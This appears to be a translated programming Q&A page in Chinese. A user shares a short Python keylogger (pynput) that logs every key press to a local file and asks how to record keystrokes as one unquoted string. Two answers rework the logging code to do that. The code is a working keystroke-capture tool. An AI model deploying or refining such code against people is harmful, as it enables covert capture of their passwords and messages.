如何从变量中删除引号并将多个引号合并为一行?

问题描述 投票:0回答:2
from pynput.keyboard import Key, Listener
import logging
import getpass
import os

logging.basicConfig(filename=("keylogger.txt"), level=logging.DEBUG, format="%(message)s")  
 
def on_press(key):
    logging.info(str(key))
 
with Listener(on_press=on_press) as listener :
    listener.join()

在前面提到的键盘记录器中,如果我输入“Hello”,我希望结果看起来像这样:

Hello
但结果却是:

'H'
'e'
'l'
'l'
'o'

我知道我可以使用字符串或库或任何它们被调用的东西,但我已经一年没有使用 python 编码并且忘记了如何。

python variables keylogger
2个回答
1
投票

您可以修改 on_press 函数以跟踪键入的字符,然后将它们输出为不带引号的单个字符串。

keys_pressed = []

def on_press(key):
    global keys_pressed
    try:
        keys_pressed.append(key.char)
    except AttributeError:
        pass

& 当你阅读 keys_pressed 数组时,像这样读

"".join(keys_pressed)

0
投票

对于按您希望的方式工作的文件日志记录解决方案,您可以使用

stream
而不是
filename
.

然后你可以倒回文件中的当前位置,这样你就可以从

\n
模块(表面上)添加的
logging
回溯。

例如:

import logging

stream = open('keylogger.txt', 'w')

logging.basicConfig(stream=stream, level=logging.DEBUG, format="%(message)s",)

logging.info('A')
stream.seek(stream.tell() - 1)

logging.info('B')
stream.seek(stream.tell() - 1)

logging.info('C')
stream.seek(stream.tell() - 1)

keylogger.txt
的内容:

ABC

抽象

为了简化上面的逻辑,可以把文件日志封装成一个自定义的类,如下

KeyLogger

import logging


class KeyLogger:

    def __init__(self, fname: str = 'keylogger.txt'):
        self.stream = open(fname, 'w')
        self.count = 0
        logging.basicConfig(stream=self.stream, level=logging.DEBUG, format="%(message)s",)

    def info(self, msg, *args, **kwargs):
        logging.info(msg, *args, **kwargs)
        count = self.count = self.count + 1
        self.stream.seek(count)


log = KeyLogger()

log.info('A')
log.info('B')
log.info('C')
© www.soinside.com 2019 - 2024. All rights reserved.